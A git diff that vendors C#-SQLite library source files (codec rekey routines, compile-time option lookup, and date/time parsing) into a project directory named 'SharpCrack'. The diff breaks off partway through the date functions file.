sqlite3PagerPagecount( pPager, out page_count ); + for ( pgno = 1; rc == SQLITE_OK && pgno <= page_count; pgno++ ) + { /* pgno's start at 1 see pager.c:pagerAcquire */ + if ( 0 == sqlite3pager_is_mj_pgno( pPager, pgno ) ) + { /* skip this page (see pager.c:pagerAcquire for reasoning) */ + rc = sqlite3PagerGet( pPager, pgno, ref page ); + if ( rc == SQLITE_OK ) + { /* write page see pager_incr_changecounter for example */ + rc = sqlite3PagerWrite( page ); + //printf("sqlite3PagerWrite(%d)\n", pgno); + if ( rc == SQLITE_OK ) + { + sqlite3PagerUnref( page ); + } + } + } + } + + /* if commit was successful commit and copy the rekey data to current key, else rollback to release locks */ + if ( rc == SQLITE_OK ) + { + CODEC_TRACE( "sqlite3_rekey: committing\n" ); + db.nextPagesize = sqlite3BtreeGetPageSize( pDb.pBt ); + rc = sqlite3BtreeCommit( pDb.pBt ); + if ( ctx != null ) + cipher_ctx_copy( ctx.read_ctx, ctx.write_ctx ); + } + else + { + CODEC_TRACE( "sqlite3_rekey: rollback\n" ); + sqlite3BtreeRollback( pDb.pBt ); + } + + ctx.mode_rekey = 0; + } + return SQLITE_OK; + } + return SQLITE_ERROR; + } + + static void sqlite3CodecGetKey( sqlite3 db, int nDb, out string zKey, out int nKey ) + { + Db pDb = db.aDb[nDb]; + CODEC_TRACE( "sqlite3CodecGetKey: entered db=%d, nDb=%d\n", db, nDb ); + + if ( pDb.pBt != null ) + { + codec_ctx ctx = null; + sqlite3pager_get_codec( pDb.pBt.pBt.pPager, ref ctx ); + + if ( ctx != null ) + { /* if the codec has an attached codec_context user the raw key data */ + zKey = ctx.read_ctx.pass; + nKey = ctx.read_ctx.pass_sz; + return; + } + } + zKey = null; + nKey = 0; + } + /* END CRYPTO */ +#endif + const int SQLITE_ENCRYPT_WRITE_CTX = 6; /* Encode page */ + const int SQLITE_ENCRYPT_READ_CTX = 7; /* Encode page */ + const int SQLITE_DECRYPT = 3; /* Decode page */ + } +} \ No newline at end of file diff --git a/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/ctime_c.cs b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/ctime_c.cs new file mode 100644 index 0000000..9cbbd99 --- /dev/null +++ b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/ctime_c.cs @@ -0,0 +1,421 @@ +namespace Community.CsharpSqlite +{ + using sqlite3_value = Sqlite3.Mem; + using System; + + public partial class Sqlite3 + { + /* + ** 2010 February 23 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** + ** This file implements routines used to report what compile-time options + ** SQLite was built with. + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** SQLITE_SOURCE_ID: 2011-01-28 17:03:50 ed759d5a9edb3bba5f48f243df47be29e3fe8cd7 + ** + ************************************************************************* + */ + +#if !SQLITE_OMIT_COMPILEOPTION_DIAGS + + //#include "sqliteInt.h" + + /* + ** An array of names of all compile-time options. This array should + ** be sorted A-Z. + ** + ** This array looks large, but in a typical installation actually uses + ** only a handful of compile-time options, so most times this array is usually + ** rather short and uses little memory space. + */ + static string[] azCompileOpt = { + +/* These macros are provided to "stringify" the value of the define +** for those options in which the value is meaningful. */ +//#define CTIMEOPT_VAL_(opt) #opt +//#define CTIMEOPT_VAL(opt) CTIMEOPT_VAL_(opt) + +#if SQLITE_32BIT_ROWID +"32BIT_ROWID", +#endif +#if SQLITE_4_BYTE_ALIGNED_MALLOC +"4_BYTE_ALIGNED_MALLOC", +#endif +#if SQLITE_CASE_SENSITIVE_LIKE +"CASE_SENSITIVE_LIKE", +#endif +#if SQLITE_CHECK_PAGES +"CHECK_PAGES", +#endif +#if SQLITE_COVERAGE_TEST +"COVERAGE_TEST", +#endif +#if SQLITE_DEBUG +"DEBUG", +#endif +#if SQLITE_DEFAULT_LOCKING_MODE +"DEFAULT_LOCKING_MODE=" CTIMEOPT_VAL(SQLITE_DEFAULT_LOCKING_MODE), +#endif +#if SQLITE_DISABLE_DIRSYNC +"DISABLE_DIRSYNC", +#endif +#if SQLITE_DISABLE_LFS +"DISABLE_LFS", +#endif +#if SQLITE_ENABLE_ATOMIC_WRITE +"ENABLE_ATOMIC_WRITE", +#endif +#if SQLITE_ENABLE_CEROD +"ENABLE_CEROD", +#endif +#if SQLITE_ENABLE_COLUMN_METADATA +"ENABLE_COLUMN_METADATA", +#endif +#if SQLITE_ENABLE_EXPENSIVE_ASSERT +"ENABLE_EXPENSIVE_ASSERT", +#endif +#if SQLITE_ENABLE_FTS1 +"ENABLE_FTS1", +#endif +#if SQLITE_ENABLE_FTS2 +"ENABLE_FTS2", +#endif +#if SQLITE_ENABLE_FTS3 +"ENABLE_FTS3", +#endif +#if SQLITE_ENABLE_FTS3_PARENTHESIS +"ENABLE_FTS3_PARENTHESIS", +#endif +#if SQLITE_ENABLE_FTS4 +"ENABLE_FTS4", +#endif +#if SQLITE_ENABLE_ICU +"ENABLE_ICU", +#endif +#if SQLITE_ENABLE_IOTRACE +"ENABLE_IOTRACE", +#endif +#if SQLITE_ENABLE_LOAD_EXTENSION +"ENABLE_LOAD_EXTENSION", +#endif +#if SQLITE_ENABLE_LOCKING_STYLE +"ENABLE_LOCKING_STYLE=" CTIMEOPT_VAL(SQLITE_ENABLE_LOCKING_STYLE), +#endif +#if SQLITE_ENABLE_MEMORY_MANAGEMENT +"ENABLE_MEMORY_MANAGEMENT", +#endif +#if SQLITE_ENABLE_MEMSYS3 +"ENABLE_MEMSYS3", +#endif +#if SQLITE_ENABLE_MEMSYS5 +"ENABLE_MEMSYS5", +#endif +#if SQLITE_ENABLE_OVERSIZE_CELL_CHECK +"ENABLE_OVERSIZE_CELL_CHECK", +#endif +#if SQLITE_ENABLE_RTREE +"ENABLE_RTREE", +#endif +#if SQLITE_ENABLE_STAT2 +"ENABLE_STAT2", +#endif +#if SQLITE_ENABLE_UNLOCK_NOTIFY +"ENABLE_UNLOCK_NOTIFY", +#endif +#if SQLITE_ENABLE_UPDATE_DELETE_LIMIT +"ENABLE_UPDATE_DELETE_LIMIT", +#endif +#if !NOT_SQLITE_HAS_CODEC //#if !NOT_SQLITE_HAS_CODEC //#if SQLITE_HAS_CODEC +"HAS_CODEC", +#endif +#if SQLITE_HAVE_ISNAN +"HAVE_ISNAN", +#endif +#if SQLITE_HOMEGROWN_RECURSIVE_MUTEX +"HOMEGROWN_RECURSIVE_MUTEX", +#endif +#if SQLITE_IGNORE_AFP_LOCK_ERRORS +"IGNORE_AFP_LOCK_ERRORS", +#endif +#if SQLITE_IGNORE_FLOCK_LOCK_ERRORS +"IGNORE_FLOCK_LOCK_ERRORS", +#endif +#if SQLITE_INT64_TYPE +"INT64_TYPE", +#endif +#if SQLITE_LOCK_TRACE +"LOCK_TRACE", +#endif +#if SQLITE_MEMDEBUG +"MEMDEBUG", +#endif +#if SQLITE_MIXED_ENDIAN_64BIT_FLOAT +"MIXED_ENDIAN_64BIT_FLOAT", +#endif +#if SQLITE_NO_SYNC +"NO_SYNC", +#endif +#if SQLITE_OMIT_ALTERTABLE +"OMIT_ALTERTABLE", +#endif +#if SQLITE_OMIT_ANALYZE +"OMIT_ANALYZE", +#endif +#if SQLITE_OMIT_ATTACH +"OMIT_ATTACH", +#endif +#if !NO_SQLITE_OMIT_AUTHORIZATION +"OMIT_AUTHORIZATION", +#endif +#if SQLITE_OMIT_AUTOINCREMENT +"OMIT_AUTOINCREMENT", +#endif +#if SQLITE_OMIT_AUTOINIT +"OMIT_AUTOINIT", +#endif +#if SQLITE_OMIT_AUTOMATIC_INDEX +"OMIT_AUTOMATIC_INDEX", +#endif +#if SQLITE_OMIT_AUTORESET +"OMIT_AUTORESET", +#endif +#if SQLITE_OMIT_AUTOVACUUM +"OMIT_AUTOVACUUM", +#endif +#if SQLITE_OMIT_BETWEEN_OPTIMIZATION +"OMIT_BETWEEN_OPTIMIZATION", +#endif +#if SQLITE_OMIT_BLOB_LITERAL +"OMIT_BLOB_LITERAL", +#endif +#if SQLITE_OMIT_BTREECOUNT +"OMIT_BTREECOUNT", +#endif +#if SQLITE_OMIT_BUILTIN_TEST +"OMIT_BUILTIN_TEST", +#endif +#if SQLITE_OMIT_CAST +"OMIT_CAST", +#endif +#if SQLITE_OMIT_CHECK +"OMIT_CHECK", +#endif +/* // redundant +** #if SQLITE_OMIT_COMPILEOPTION_DIAGS +** "OMIT_COMPILEOPTION_DIAGS", +** #endif +*/ +#if SQLITE_OMIT_COMPLETE +"OMIT_COMPLETE", +#endif +#if SQLITE_OMIT_COMPOUND_SELECT +"OMIT_COMPOUND_SELECT", +#endif +#if SQLITE_OMIT_DATETIME_FUNCS +"OMIT_DATETIME_FUNCS", +#endif +#if SQLITE_OMIT_DECLTYPE +"OMIT_DECLTYPE", +#endif +#if !NOT_SQLITE_OMIT_DEPRECATED +"OMIT_DEPRECATED", +#endif +#if SQLITE_OMIT_DISKIO +"OMIT_DISKIO", +#endif +#if SQLITE_OMIT_EXPLAIN +"OMIT_EXPLAIN", +#endif +#if SQLITE_OMIT_FLAG_PRAGMAS +"OMIT_FLAG_PRAGMAS", +#endif +#if SQLITE_OMIT_FLOATING_POINT +"OMIT_FLOATING_POINT", +#endif +#if SQLITE_OMIT_FOREIGN_KEY +"OMIT_FOREIGN_KEY", +#endif +#if !NO_SQLITE_OMIT_GET_TABLE +"OMIT_GET_TABLE", +#endif +#if !NOT_SQLITE_OMIT_INCRBLOB +"OMIT_INCRBLOB", +#endif +#if SQLITE_OMIT_INTEGRITY_CHECK +"OMIT_INTEGRITY_CHECK", +#endif +#if SQLITE_OMIT_LIKE_OPTIMIZATION +"OMIT_LIKE_OPTIMIZATION", +#endif +#if SQLITE_OMIT_LOAD_EXTENSION +"OMIT_LOAD_EXTENSION", +#endif +#if SQLITE_OMIT_LOCALTIME +"OMIT_LOCALTIME", +#endif +#if !NO_SQLITE_OMIT_LOOKASIDE +"OMIT_LOOKASIDE", +#endif +#if SQLITE_OMIT_MEMORYDB +"OMIT_MEMORYDB", +#endif +#if SQLITE_OMIT_OR_OPTIMIZATION +"OMIT_OR_OPTIMIZATION", +#endif +#if SQLITE_OMIT_PAGER_PRAGMAS +"OMIT_PAGER_PRAGMAS", +#endif +#if SQLITE_OMIT_PRAGMA +"OMIT_PRAGMA", +#endif +#if SQLITE_OMIT_PROGRESS_CALLBACK +"OMIT_PROGRESS_CALLBACK", +#endif +#if SQLITE_OMIT_QUICKBALANCE +"OMIT_QUICKBALANCE", +#endif +#if SQLITE_OMIT_REINDEX +"OMIT_REINDEX", +#endif +#if SQLITE_OMIT_SCHEMA_PRAGMAS +"OMIT_SCHEMA_PRAGMAS", +#endif +#if SQLITE_OMIT_SCHEMA_VERSION_PRAGMAS +"OMIT_SCHEMA_VERSION_PRAGMAS", +#endif +#if !NO_SQLITE_OMIT_SHARED_CACHE +//#if SQLITE_OMIT_SHARED_CACHE +"OMIT_SHARED_CACHE", +#endif +#if SQLITE_OMIT_SUBQUERY +"OMIT_SUBQUERY", +#endif +#if SQLITE_OMIT_TCL_VARIABLE +"OMIT_TCL_VARIABLE", +#endif +#if SQLITE_OMIT_TEMPDB +"OMIT_TEMPDB", +#endif +#if SQLITE_OMIT_TRACE +"OMIT_TRACE", +#endif +#if SQLITE_OMIT_TRIGGER +"OMIT_TRIGGER", +#endif +#if SQLITE_OMIT_TRUNCATE_OPTIMIZATION +"OMIT_TRUNCATE_OPTIMIZATION", +#endif +#if !NO_SQLITE_OMIT_UTF16 +"OMIT_UTF16", +#endif +#if SQLITE_OMIT_VACUUM +"OMIT_VACUUM", +#endif +#if SQLITE_OMIT_VIEW +"OMIT_VIEW", +#endif +#if SQLITE_OMIT_VIRTUALTABLE +"OMIT_VIRTUALTABLE", +#endif +#if SQLITE_OMIT_WAL +"OMIT_WAL", +#endif +#if SQLITE_OMIT_WSD +"OMIT_WSD", +#endif +#if SQLITE_OMIT_XFER_OPT +"OMIT_XFER_OPT", +#endif +#if SQLITE_PERFORMANCE_TRACE +"PERFORMANCE_TRACE", +#endif +#if SQLITE_PROXY_DEBUG +"PROXY_DEBUG", +#endif +#if SQLITE_SECURE_DELETE +"SECURE_DELETE", +#endif +#if SQLITE_SMALL_STACK +"SMALL_STACK", +#endif +#if SQLITE_SOUNDEX +"SOUNDEX", +#endif +#if SQLITE_TCL +"TCL", +#endif +//#if SQLITE_TEMP_STORE +"TEMP_STORE=1",//CTIMEOPT_VAL(SQLITE_TEMP_STORE), +//#endif +#if SQLITE_TEST +"TEST", +#endif +#if SQLITE_THREADSAFE +"THREADSAFE=2", // For C#, hardcode to = 2 CTIMEOPT_VAL(SQLITE_THREADSAFE), +#else +"THREADSAFE=0", // For C#, hardcode to = 0 +#endif +#if SQLITE_USE_ALLOCA +"USE_ALLOCA", +#endif +#if SQLITE_ZERO_MALLOC +"ZERO_MALLOC" +#endif +}; + + /* + ** Given the name of a compile-time option, return true if that option + ** was used and false if not. + ** + ** The name can optionally begin with "SQLITE_" but the "SQLITE_" prefix + ** is not required for a match. + */ + static int sqlite3_compileoption_used( string zOptName ) + { + if ( zOptName.EndsWith( "=" ) ) + return 0; + int i, n = 0; + if ( zOptName.StartsWith( "SQLITE_", System.StringComparison.InvariantCultureIgnoreCase ) ) + n = 7; + //n = sqlite3Strlen30(zOptName); + + /* Since ArraySize(azCompileOpt) is normally in single digits, a + ** linear search is adequate. No need for a binary search. */ + if ( !String.IsNullOrEmpty( zOptName ) ) + for ( i = 0; i < ArraySize( azCompileOpt ); i++ ) + { + int n1 = ( zOptName.Length-n < azCompileOpt[i].Length ) ? zOptName.Length-n : azCompileOpt[i].Length; + if ( String.Compare( zOptName, n, azCompileOpt[i], 0, n1, StringComparison.InvariantCultureIgnoreCase ) == 0 ) + return 1; + } + return 0; + } + + /* + ** Return the N-th compile-time option string. If N is out of range, + ** return a NULL pointer. + */ + static string sqlite3_compileoption_get( int N ) + { + if ( N >= 0 && N < ArraySize( azCompileOpt ) ) + { + return azCompileOpt[N]; + } + return null; + } + +#endif //* SQLITE_OMIT_COMPILEOPTION_DIAGS */ + } +} diff --git a/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/date_c.cs b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/date_c.cs new file mode 100644 index 0000000..a2715e1 --- /dev/null +++ b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/date_c.cs @@ -0,0 +1,1410 @@ +using System; +using System.Diagnostics; +using System.Text; + +using time_t = System.Int64; +using sqlite3_int64 = System.Int64; +using i64 = System.Int64; +using u64 = System.UInt64; + +namespace Community.CsharpSqlite +{ + using sqlite3_value = Sqlite3.Mem; + + public partial class Sqlite3 + { + /* + ** 2003 October 31 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** This file contains the C functions that implement date and time + ** functions for SQLite. + ** + ** There is only one exported symbol in this file - the function + ** sqlite3RegisterDateTimeFunctions() found at the bottom of the file. + ** All other code has file scope. + ** + ** SQLite processes all times and dates as Julian Day numbers. The + ** dates and times are stored as the number of days since noon + ** in Greenwich on November 24, 4714 B.C. according to the Gregorian + ** calendar system. + ** + ** 1970-01-01 00:00:00 is JD 2440587.5 + ** 2000-01-01 00:00:00 is JD 2451544.5 + ** + ** This implemention requires years to be expressed as a 4-digit number + ** which means that only dates between 0000-01-01 and 9999-12-31 can + ** be represented, even though julian day numbers allow a much wider + ** range of dates. + ** + ** The Gregorian calendar system is used for all dates and times, + ** even those that predate the Gregorian calendar. Historians usually + ** use the Julian calendar for dates prior to 1582-10-15 and for some + ** dates afterwards, depending on locale. Beware of this difference. + ** + ** The conversion algorithms are implemented based on descriptions + ** in the following text: + ** + ** Jean Meeus + ** Astronomical Algorithms, 2nd Edition, 1998 + ** ISBM 0-943396-61-1 + ** Willmann-Bell, Inc + ** Richmond, Virginia (USA) + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** SQLITE_SOURCE_ID: 2011-06-23 19:49:22 4374b7e83ea0a3fbc3691f9c0c936272862f32f2 + ** + ************************************************************************* + */ + //#include "sqliteInt.h" + //#include + //#include + //#include + +#if !SQLITE_OMIT_DATETIME_FUNCS + + + /* + ** A structure for holding a single date and time. + */ + //typedef struct DateTime DateTime; + public class DateTime + { + public sqlite3_int64 iJD; /* The julian day number times 86400000 */ + public int Y, M, D; /* Year, month, and day */ + public int h, m; /* Hour and minutes */ + public int tz; /* Timezone offset in minutes */ + public double s; /* Seconds */ + public byte validYMD; /* True (1) if Y,M,D are valid */ + public byte validHMS; /* True (1) if h,m,s are valid */ + public byte validJD; /* True (1) if iJD is valid */ + public byte validTZ; /* True (1) if tz is valid */ + + public void CopyTo( DateTime ct ) + { + ct.iJD = iJD; + ct.Y = Y; + ct.M = M; + ct.D = D; + ct.h = h; + ct.m = m; + ct.tz = tz; + ct.s = s; + ct.validYMD = validYMD; + ct.validHMS = validHMS; + ct.validJD = validJD; + ct.validTZ = validJD; + } + }; + + + // Temporary String for use in this module + static StringBuilder zdtTemp = new StringBuilder( 100 ); + static StringBuilder zdtBuf = new StringBuilder( 100 ); + + /* + ** Convert zDate into one or more integers. Additional arguments + ** come in groups of 5 as follows: + ** + ** N number of digits in the integer + ** min minimum allowed value of the integer + ** max maximum allowed value of the integer + ** nextC first character after the integer + ** pVal where to write the integers value. + ** + ** Conversions continue until one with nextC==0 is encountered. + ** The function returns the number of successful conversions. + */ + static int getDigits( string zDate, int N0, int min0, int max0, char nextC0, ref int pVal0, int N1, int min1, int max1, char nextC1, ref int pVal1 ) + { + int c0 = getDigits( zDate + '\0', N0, min0, max0, nextC0, ref pVal0 ); + return c0 == 0 ? 0 : c0 + getDigits( zDate.Substring( zDate.IndexOf( nextC0 ) + 1 ) + '\0', N1, min1, max1, nextC1, ref pVal1 ); + } + static int getDigits( string zDate, int N0, int min0, int max0, char nextC0, ref int pVal0, int N1, int min1, int max1, char nextC1, ref int pVal1, int N2, int min2, int max2, char nextC2, ref int pVal2 ) + { + int c0 = getDigits( zDate + '\0', N0, min0, max0, nextC0, ref pVal0 ); + if ( c0 == 0 ) + return 0; + string zDate1 = zDate.Substring( zDate.IndexOf( nextC0 ) + 1 ); + int c1 = getDigits( zDate1 + '\0', N1, min1, max1, nextC1, ref pVal1 ); + if ( c1 == 0 ) + return c0; + return c0 + c1 + getDigits( zDate1.Substring( zDate1.IndexOf( nextC1 ) + 1 ) + '\0', N2, min2, max2, nextC2, ref pVal2 ); + } + static int getDigits( string zDate, int N, int min, int max, char nextC, ref int pVal ) + { + //va_list ap; + int val; + //int N; + //int min; + //int max; + //char nextC; + //int pVal; + int cnt = 0; + //va_start( ap, zDate ); + int zIndex = 0; + //do + //{ + //N = va_arg( ap, ( Int32 ) 0 ); + //min = va_arg( ap, ( Int32 ) 0 ); + //max = va_arg( ap, ( Int32 ) 0 ); + //nextC = (char)va_arg( ap, "char" ); + //pVal = va_arg( ap, ( Int32 ) 0 ); + val = 0; + while ( N-- != 0 ) + { + if ( !sqlite3Isdigit( zDate[zIndex] ) ) + { + goto end_getDigits; + } + val = val * 10 + zDate[zIndex] - '0'; + zIndex++; + } + if ( val < min || val > max || zIndex < zDate.Length && ( nextC != 0 && nextC != zDate[zIndex] ) ) + { + goto end_getDigits; + } + pVal = val; + zIndex++; + cnt++; +//} while ( nextC != 0 && zIndex < zDate.Length ); +end_getDigits: + //va_end( ap ); + return cnt; + } + + /* + ** Parse a timezone extension on the end of a date-time. + ** The extension is of the form: + ** + ** (+/-)HH:MM + ** + ** + ** Or the "zulu" notation: + ** + ** Z + ** + ** If the parse is successful, write the number of minutes + ** of change in p.tz and return 0. If a parser error occurs, + ** return non-zero. + ** + ** A missing specifier is not considered an error. + */ + static int parseTimezone( string zDate, DateTime p ) + { + int sgn = 0; + int nHr = 0; + int nMn = 0; + char c; + zDate = zDate.Trim();// while ( sqlite3Isspace( *(u8)zDate ) ) { zDate++; } + p.tz = 0; + c = zDate.Length == 0 ? '\0' : zDate[0]; + if ( c == '-' ) + { + sgn = -1; + } + else if ( c == '+' ) + { + sgn = +1; + } + else if ( c == 'Z' || c == 'z' ) + { + zDate = zDate.Substring( 1 ).Trim();//zDate++; + goto zulu_time; + } + else + { + return c != '\0' ? 1 : 0; + } + //zDate++; + if ( getDigits( zDate.Substring( 1 ), 2, 0, 14, ':', ref nHr, 2, 0, 59, '\0', ref nMn ) != 2 ) + { + return 1; + } + //zDate += 5; + p.tz = sgn * ( nMn + nHr * 60 ); + if ( zDate.Length == 6 ) + zDate = ""; + else if ( zDate.Length > 6 ) + zDate = zDate.Substring( 6 ).Trim();// while ( sqlite3Isspace( *(u8)zDate ) ) { zDate++; } +zulu_time: + return zDate != "" ? 1 : 0; + } + + /* + ** Parse times of the form HH:MM or HH:MM:SS or HH:MM:SS.FFFF. + ** The HH, MM, and SS must each be exactly 2 digits. The + ** fractional seconds FFFF can be one or more digits. + ** + ** Return 1 if there is a parsing error and 0 on success. + */ + static int parseHhMmSs( string zDate, DateTime p ) + { + int h = 0; + int m = 0; + int s = 0; + double ms = 0.0; + if ( getDigits( zDate, 2, 0, 24, ':', ref h, 2, 0, 59, '\0', ref m ) != 2 ) + { + return 1; + } + int zIndex = 5;// zDate += 5; + if ( zIndex < zDate.Length && zDate[zIndex] == ':' ) + { + zIndex++;// zDate++; + if ( getDigits( zDate.Substring( zIndex ), 2, 0, 59, '\0', ref s ) != 1 ) + { + return 1; + } + zIndex += 2;// zDate += 2; + if ( zIndex + 1 < zDate.Length && zDate[zIndex] == '.' && sqlite3Isdigit( zDate[zIndex + 1] ) ) + { + double rScale = 1.0; + zIndex++;// zDate++; + while ( zIndex < zDate.Length && sqlite3Isdigit( zDate[zIndex] ) + ) + { + ms = ms * 10.0 + zDate[zIndex] - '0'; + rScale *= 10.0; + zIndex++;//zDate++; + } + ms /= rScale; + } + } + else + { + s = 0; + } + p.validJD = 0; + p.validHMS = 1; + p.h = h; + p.m = m; + p.s = s + ms; + if ( zIndex < zDate.Length && parseTimezone( zDate.Substring( zIndex ), p ) != 0 ) + return 1; + p.validTZ = (byte)( ( p.tz != 0 ) ? 1 : 0 ); + return 0; + } + + /* + ** Convert from YYYY-MM-DD HH:MM:SS to julian day. We always assume + ** that the YYYY-MM-DD is according to the Gregorian calendar. + ** + ** Reference: Meeus page 61 + */ + static void computeJD( DateTime p ) + { + int Y, M, D, A, B, X1, X2; + + if ( p.validJD != 0 ) + return; + if ( p.validYMD != 0 ) + { + Y = p.Y; + M = p.M; + D = p.D; + } + else + { + Y = 2000; /* If no YMD specified, assume 2000-Jan-01 */ + M = 1; + D = 1; + } + if ( M <= 2 ) + { + Y--; + M += 12; + } + A = Y / 100; + B = 2 - A + ( A / 4 ); + X1 = (int)( 36525 * ( Y + 4716 ) / 100 ); + X2 = (int)( 306001 * ( M + 1 ) / 10000 ); + p.iJD = (long)( ( X1 + X2 + D + B - 1524.5 ) * 86400000 ); + p.validJD = 1; + if ( p.validHMS != 0 ) + { + p.iJD += (long)( p.h * 3600000 + p.m * 60000 + p.s * 1000 ); + if ( p.validTZ != 0 ) + { + p.iJD -= p.tz * 60000; + p.validYMD = 0; + p.validHMS = 0; + p.validTZ = 0; + } + } + } + + /* + ** Parse dates of the form + ** + ** YYYY-MM-DD HH:MM:SS.FFF + ** YYYY-MM-DD HH:MM:SS + ** YYYY-MM-DD HH:MM + ** YYYY-MM-DD + ** + ** Write the result into the DateTime structure and return 0 + ** on success and 1 if the input string is not a well-formed + ** date. + */ + static int parseYyyyMmDd( string zDate, DateTime p ) + { + int Y = 0; + int M = 0; + int D = 0; + bool neg; + + int zIndex = 0; + if ( zDate[zIndex] == '-' ) + { + zIndex++;// zDate++; + neg = true; + } + else + { + neg = false; + } + if ( getDigits( zDate.Substring( zIndex ), 4, 0, 9999, '-', ref Y, 2, 1, 12, '-', ref M, 2, 1, 31, '\0', ref D ) != 3 ) + { + return 1; + } + zIndex += 10;// zDate += 10; + while ( zIndex < zDate.Length && ( sqlite3Isspace( zDate[zIndex] ) || 'T' == zDate[zIndex] ) ) + { + zIndex++; + }//zDate++; } + if ( zIndex < zDate.Length && parseHhMmSs( zDate.Substring( zIndex ), p ) == 0 ) + { + /* We got the time */ + } + else if ( zIndex >= zDate.Length )// zDate[zIndex] == '\0') + { + p.validHMS = 0; + } + else + { + return 1; + } + p.validJD = 0; + p.validYMD = 1; + p.Y = neg ? -Y : Y; + p.M = M; + p.D = D; + if ( p.validTZ != 0 ) + { + computeJD( p ); + } + return 0; + } + + /* + ** Set the time to the current time reported by the VFS + */ + static void setDateTimeToCurrent( sqlite3_context context, DateTime p ) + { + sqlite3 db = sqlite3_context_db_handle( context ); + sqlite3OsCurrentTimeInt64( db.pVfs, ref p.iJD ); + p.validJD = 1; + } + + /* + ** Attempt to parse the given string into a Julian Day Number. Return + ** the number of errors. + ** + ** The following are acceptable forms for the input string: + ** + ** YYYY-MM-DD HH:MM:SS.FFF +/-HH:MM + ** DDDD.DD + ** now + ** + ** In the first form, the +/-HH:MM is always optional. The fractional + ** seconds extension (the ".FFF") is optional. The seconds portion + ** (":SS.FFF") is option. The year and date can be omitted as long + ** as there is a time string. The time string can be omitted as long + ** as there is a year and date. + */ + static int parseDateOrTime( + sqlite3_context context, + string zDate, + ref DateTime p + ) + { + double r = 0.0; + if ( parseYyyyMmDd( zDate, p ) == 0 ) + { + return 0; + } + else if ( parseHhMmSs( zDate, p ) == 0 ) + { + return 0; + } + else if ( zDate.Equals( "now", StringComparison.InvariantCultureIgnoreCase ) ) + { + setDateTimeToCurrent( context, p ); + return 0; + } + else if ( sqlite3AtoF( zDate, ref r, sqlite3Strlen30( zDate ), SQLITE_UTF8 ) ) + { + p.iJD = (sqlite3_int64)( r * 86400000.0 + 0.5 ); + p.validJD = 1; + return 0; + } + return 1; + } + + /* + ** Compute the Year, Month, and Day from the julian day number. + */ + static void computeYMD( DateTime p ) + { + int Z, A, B, C, D, E, X1; + if ( p.validYMD != 0 ) + return; + if ( 0 == p.validJD ) + { + p.Y = 2000; + p.M = 1; + p.D = 1; + } + else + { + Z = (int)( ( p.iJD + 43200000 ) / 86400000 ); + A = (int)( ( Z - 1867216.25 ) / 36524.25 ); + A = Z + 1 + A - ( A / 4 ); + B = A + 1524; + C = (int)( ( B - 122.1 ) / 365.25 ); + D = (int)( ( 36525 * C ) / 100 ); + E = (int)( ( B - D ) / 30.6001 ); + X1 = (int)( 30.6001 * E ); + p.D = B - D - X1; + p.M = E < 14 ? E - 1 : E - 13; + p.Y = p.M > 2 ? C - 4716 : C - 4715; + } + p.validYMD = 1; + } + + /* + ** Compute the Hour, Minute, and Seconds from the julian day number. + */ + static void computeHMS( DateTime p ) + { + int s; + if ( p.validHMS != 0 ) + return; + computeJD( p ); + s = (int)( ( p.iJD + 43200000 ) % 86400000 ); + p.s = s / 1000.0; + s = (int)p.s; + p.s -= s; + p.h = s / 3600; + s -= p.h * 3600; + p.m = s / 60; + p.s += s - p.m * 60; + p.validHMS = 1; + } + + /* + ** Compute both YMD and HMS + */ + static void computeYMD_HMS( DateTime p ) + { + computeYMD( p ); + computeHMS( p ); + } + + /* + ** Clear the YMD and HMS and the TZ + */ + static void clearYMD_HMS_TZ( DateTime p ) + { + p.validYMD = 0; + p.validHMS = 0; + p.validTZ = 0; + } + + /* + ** On recent Windows platforms, the localtime_s() function is available + ** as part of the "Secure CRT". It is essentially equivalent to + ** localtime_r() available under most POSIX platforms, except that the + ** order of the parameters is reversed. + ** + ** See http://msdn.microsoft.com/en-us/library/a442x3ye(VS.80).aspx. + ** + ** If the user has not indicated to use localtime_r() or localtime_s() + ** already, check for an MSVC build environment that provides + ** localtime_s(). + */ + //#if !defined(HAVE_LOCALTIME_R) && !defined(HAVE_LOCALTIME_S) && \ + // defined(_MSC_VER) && defined(_CRT_INSECURE_DEPRECATE) + //#define HAVE_LOCALTIME_S 1 + //#endif + +#if !SQLITE_OMIT_LOCALTIME + /* + ** The following routine implements the rough equivalent of localtime_r() + ** using whatever operating-system specific localtime facility that + ** is available. This routine returns 0 on success and + ** non-zero on any kind of error. + ** + ** If the sqlite3GlobalConfig.bLocaltimeFault variable is true then this + ** routine will always fail. + */ + static int osLocaltime( time_t t, tm pTm ) + { + int rc; +#if (!(HAVE_LOCALTIME_R) || !HAVE_LOCALTIME_R) && (!(HAVE_LOCALTIME_S) || !HAVE_LOCALTIME_S) + tm pX; + sqlite3_mutex mutex = sqlite3MutexAlloc( SQLITE_MUTEX_STATIC_MASTER ); + sqlite3_mutex_enter( mutex ); + pX = localtime( t ); +#if !SQLITE_OMIT_BUILTIN_TEST + if ( sqlite3GlobalConfig.bLocaltimeFault ) + pX = null; +#endif + if ( pX != null ) + pTm = pX; + sqlite3_mutex_leave( mutex ); + rc = pX == null ? 1 : 0; +#else +#if !SQLITE_OMIT_BUILTIN_TEST + if( sqlite3GlobalConfig.bLocaltimeFault ) return 1; +#endif +#if (HAVE_LOCALTIME_R) && HAVE_LOCALTIME_R + rc = localtime_r(t, pTm)==0; +#else + rc = localtime_s(pTm, t); +#endif //* HAVE_LOCALTIME_R */ +#endif //* HAVE_LOCALTIME_R || HAVE_LOCALTIME_S */ + return rc; + } +#endif //* SQLITE_OMIT_LOCALTIME */ + + +#if !SQLITE_OMIT_LOCALTIME + /* +** Compute the 